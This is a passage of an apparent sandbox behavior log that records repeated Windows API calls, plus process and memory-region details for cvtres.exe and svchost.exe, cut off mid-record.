(dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.941] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.941] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.941] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.941] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.941] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.941] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.942] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.942] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.942] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.942] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.942] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.942] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.942] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.942] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.942] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.942] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.942] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.942] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.942] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.942] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.943] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.943] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.943] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.943] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.943] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.943] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.943] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.943] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.943] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.943] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.945] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.945] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.945] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.945] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.945] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.945] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.945] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.945] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.945] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.947] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.948] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.948] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.948] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.948] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.948] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.948] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.948] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.948] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.949] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.949] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.949] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.949] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.949] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.949] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.949] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.949] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.949] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.949] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.949] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.949] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.951] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.952] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.952] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.952] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.955] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.955] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12d1b8 | out: ppstm=0x12d1b8*=0x2ff950) returned 0x0 [0046.958] IUnknown:AddRef (This=0x2ff950) returned 0x2 [0046.958] IStream:LockRegion (This=0x2ff950, libOffset=0x0, cb=0x0, dwLockType=0x12cfd0) returned 0x0 [0046.960] IStream:Commit (This=0x2ff950, grfCommitFlags=0x390a00) returned 0x0 [0046.961] IUnknown:Release (This=0x2ff950) returned 0x1 [0046.961] CMemStm::Stat () returned 0x0 [0046.961] IStream:LockRegion (This=0x2ff950, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0046.961] IStream:SetSize (This=0x2ff950, libNewSize=0x380848) returned 0x0 [0046.961] IUnknown:Release (This=0x2ff950) returned 0x0 [0046.961] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.961] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.961] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.961] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.961] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.961] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.961] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.961] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.962] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.962] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.971] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0047.109] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 Process: id = "4" image_name = "cvtres.exe" filename = "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\cvtres.exe" page_root = "0x12d65000" os_pid = "0xadc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xacc" cmd_line = "C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\RESB625.tmp\" \"c:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\CSCB615.tmp\"" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e7e8" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 770 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 771 start_va = 0x30000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 772 start_va = 0x130000 end_va = 0x133fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 773 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 774 start_va = 0x400000 end_va = 0x40cfff entry_point = 0x400000 region_type = mapped_file name = "cvtres.exe" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\cvtres.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\cvtres.exe") Region: id = 775 start_va = 0x775e0000 end_va = 0x77788fff entry_point = 0x775e0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 776 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 777 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 778 start_va = 0x7feff900000 end_va = 0x7feff900fff entry_point = 0x7feff900000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 779 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 780 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 781 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 782 start_va = 0x5d0000 end_va = 0x6cffff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 783 start_va = 0x773c0000 end_va = 0x774defff entry_point = 0x773c0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 784 start_va = 0x7fefd6e0000 end_va = 0x7fefd74afff entry_point = 0x7fefd6e0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 785 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 786 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 787 start_va = 0x150000 end_va = 0x1b6fff entry_point = 0x150000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 788 start_va = 0x1c0000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 789 start_va = 0x2d0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 790 start_va = 0x310000 end_va = 0x31ffff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 791 start_va = 0x410000 end_va = 0x50ffff entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 792 start_va = 0x74e60000 end_va = 0x74f28fff entry_point = 0x74e60000 region_type = mapped_file name = "msvcr80.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll") Region: id = 793 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 794 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 795 start_va = 0x7fefda80000 end_va = 0x7fefdbacfff entry_point = 0x7fefda80000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 796 start_va = 0x7fefed90000 end_va = 0x7fefee6afff entry_point = 0x7fefed90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 797 start_va = 0x7feff2e0000 end_va = 0x7feff37efff entry_point = 0x7feff2e0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 798 start_va = 0x7feff830000 end_va = 0x7feff84efff entry_point = 0x7feff830000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Thread: id = 34 os_tid = 0xae0 Process: id = "5" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7275e000" os_pid = "0x368" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x920" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d2d7" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 933 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 934 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 935 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 936 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 937 start_va = 0x50000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 938 start_va = 0x150000 end_va = 0x1b6fff entry_point = 0x150000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 939 start_va = 0x1c0000 end_va = 0x1c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 940 start_va = 0x1d0000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 941 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 942 start_va = 0x260000 end_va = 0x260fff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 943 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 944 start_va = 0x280000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 945 start_va = 0x290000 end_va = 0x38ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 946 start_va = 0x390000 end_va = 0x517fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 947 start_va = 0x520000 end_va = 0x6a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 948 start_va = 0x6b0000 end_va = 0x76ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 949 start_va = 0x770000 end_va = 0xb62fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 950 start_va = 0xb70000 end_va = 0xb70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b70000" filename = "" Region: id = 951 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 952 start_va = 0xb90000 end_va = 0xb90fff entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 953 start_va = 0xba0000 end_va = 0xba1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ba0000" filename = "" Region: id = 954 start_va = 0xbb0000 end_va = 0xbb3fff entry_point = 0xbb0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 955 start_va = 0xbc0000 end_va = 0xbc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bc0000" filename = "" Region: id = 956 start_va = 0xbd0000 end_va = 0xbfffff entry_point = 0xbd0000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000001c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db") Region: id = 957 start_va = 0xc00000 end_va = 0xc03fff entry_point = 0xc00000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 958 start_va = 0xc10000 end_va = 0xc8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 959 start_va = 0xc90000 end_va = 0xc90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c90000" filename = "" Region: id = 960 start_va = 0xca0000 end_va = 0xcbbfff entry_point = 0xca0000 region_type = mapped_file name = "firewallapi.dll.mui" filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui") Region: id = 961 start_va = 0xcc0000 end_va = 0xcc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cc0000" filename = "" Region: id = 962 start_va = 0xcd0000 end_va = 0xcd0fff entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 963 start_va = 0xce0000 end_va = 0xd5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ce0000" filename = "" Region: id = 964 start_va = 0xd60000 end_va = 0xddffff entry_point = 0x0 region_type = private name = "private_0x0000000000d60000" filename = "" Region: id = 965 start_va = 0xde0000 end_va = 0xe5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000de0000" filename = "" Region: id = 966 start_va = 0xe60000 end_va = 0xedffff entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 967 start_va = 0xef0000 end_va = 0xf6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ef0000" filename = "" Region: id = 968 start_va = 0xf80000 end_va = 0xffffff entry_point = 0x0 region_type = private name = "private_0x0000000000f80000" filename = "" Region: id = 969 start_va = 0x1000000 end_va = 0x107ffff entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 970 start_va = 0x1080000 end_va = 0x134efff entry_point = 0x1080000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 971 start_va = 0x1360000 end_va = 0x13dffff entry_point = 0x0 region_type = private name = "private_0x0000000001360000" filename = "" Region: id = 972 start_va = 0x13f0000 end_va = 0x146ffff entry_point = 0x0 region_type = private name = "private_0x00000000013f0000" filename = "" Region: id = 973 start_va = 0x1480000 end_va = 0x148ffff entry_point = 0x0 region_type = private name = "private_0x0000000001480000" filename = "" Region: id = 974 start_va = 0x14a0000 end_va = 0x151ffff entry_point = 0x0 region_type = private name = "private_0x00000000014a0000" filename = "" Region: id = 975 start_va = 0x1540000 end_va = 0x15bffff entry_point = 0x0 region_type = private name = "private_0x0000000001540000" filename = "" Region: id = 976 start_va = 0x15f0000 end_va = 0x166ffff entry_point = 0x0 region_type = private name = "private_0x00000000015f0000" filename = "" Region: id = 977 start_va = 0x1680000 end_va = 0x16fffff entry_point = 0x0 region_type = private name = "private_0x0000000001680000" filename = "" Region: id = 978 start_va = 0x1750000 end_va = 0x17cffff entry_point = 0x0 region_type = private name = "private_0x0000000001750000" filename = "" Region: id = 979 start_va = 0x1800000 end_va = 0x187ffff entry_point = 0x0 region_type = private name = "private_0x0000000001800000" filename = "" Region: id = 980 start_va = 0x18b0000 end_va = 0x192ffff entry_point = 0x0 region_type = private name = "private_0x00000000018b0000" filename = "" Region: id = 981 start_va = 0x1980000 end_va = 0x19fffff entry_point = 0x0 region_type = private name = "private_0x0000000001980000" filename = "" Region: id = 982 start_va = 0x1a20000 end_va = 0x1a9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001a20000" filename = "" Region: id = 983 start_va = 0x1aa0000 end_va = 0x1b9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001aa0000" filename = "" Region: id = 984 start_va = 0x1ba0000 end_va = 0x1c1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ba0000" filename = "" Region: id = 985 start_va = 0x1c30000 end_va = 0x1caffff entry_point = 0x0 region_type = private name = "private_0x0000000001c30000" filename = "" Region: id = 986 start_va = 0x1cb0000 end_va = 0x1d15fff entry_point = 0x1cb0000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 987 start_va = 0x1d80000 end_va = 0x1dfffff entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 988 start_va = 0x1e70000 end_va = 0x1e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e70000" filename = "" Region: id = 989 start_va = 0x1e80000 end_va = 0x21c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e80000" filename = "" Region: id = 990 start_va = 0x21d0000 end_va = 0x22cffff entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 991 start_va = 0x22d0000 end_va = 0x234ffff entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 992 start_va = 0x2380000 end_va = 0x23fffff entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 993 start_va = 0x2400000 end_va = 0x247ffff entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 994 start_va = 0x24a0000 end_va = 0x251ffff entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 995 start_va = 0x2550000 end_va = 0x255ffff entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 996 start_va = 0x25a0000 end_va = 0x261ffff entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 997 start_va = 0x2620000 end_va = 0x271ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002620000" filename = "" Region: id = 998 start_va = 0x2720000 end_va = 0x279ffff entry_point = 0x0 region_type = private name = "private_0x0000000002720000" filename = "" Region: id = 999 start_va = 0x27a0000 end_va = 0x281ffff entry_point = 0x0 region_type = private name = "private_0x00000000027a0000" filename = "" Region: id = 1000 start_va = 0x2830000 end_va = 0x28affff entry_point = 0x0 region_type = private name = "private_0x0000000002830000" filename = "" Region: id = 1001 start_va = 0x2910000 end_va = 0x298ffff entry_point = 0x0 region_type = private name = "private_0x0000000002910000" filename = "" Region: id = 1002 start_va = 0x29f0000 end_va = 0x2a6ffff entry_point = 0x0 region_type = private name = "private_0x00000000029f0000" filename = "" Region: id = 1003 start_va = 0x2a90000 end_va = 0x2b0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a90000" filename = "" Region: id = 1004 start_va = 0x2b20000 end_va = 0x2b9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b20000" filename = "" Region: id = 1005 start_va = 0x2bb0000 end_va = 0x2bbffff entry_point = 0x0 region_type = private name = "private_0x0000000002bb0000" filename = "" Region: id = 1006 start_va = 0x2bc0000 end_va = 0x2c3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002bc0000" filename = "" Region: id = 1007 start_va = 0x2c60000 end_va = 0x2d5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c60000" filename = "" Region: id = 1008 start_va = 0x2d60000 end_va = 0x2ddffff entry_point = 0x0 region_type = private name = "private_0x0000000002d60000" filename = "" Region: id = 1009 start_va = 0x2e60000 end_va = 0x2f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e60000" filename = "" Region: id = 1010 start_va = 0x2f70000 end_va = 0x2feffff entry_point = 0x0 region_type = private name = "private_0x0000000002f70000" filename = "" Region: id = 1011 start_va = 0x3040000 end_va = 0x30bffff entry_point = 0x0 region_type = private name = "private_0x0000000003040000" filename = "" Region: id = 1012 start_va = 0x3140000 end_va = 0x31bffff entry_point = 0x0 region_type = private name = "private_0x0000000003140000" filename = "" Region: id = 1013 start_va = 0x31c0000 end_va = 0x323ffff entry_point = 0x0 region_type = private name = "private_0x00000000031c0000" filename = "" Region: id = 1014 start_va = 0x3250000 end_va = 0x32cffff entry_point = 0x0 region_type = private name = "private_0x0000000003250000" filename = "" Region: id = 1015 start_va = 0x3360000 end_va = 0x345ffff entry_point = 0x0 region_type = private name = "private_0x0000000003360000" filename = "" Region: id = 1016 start_va = 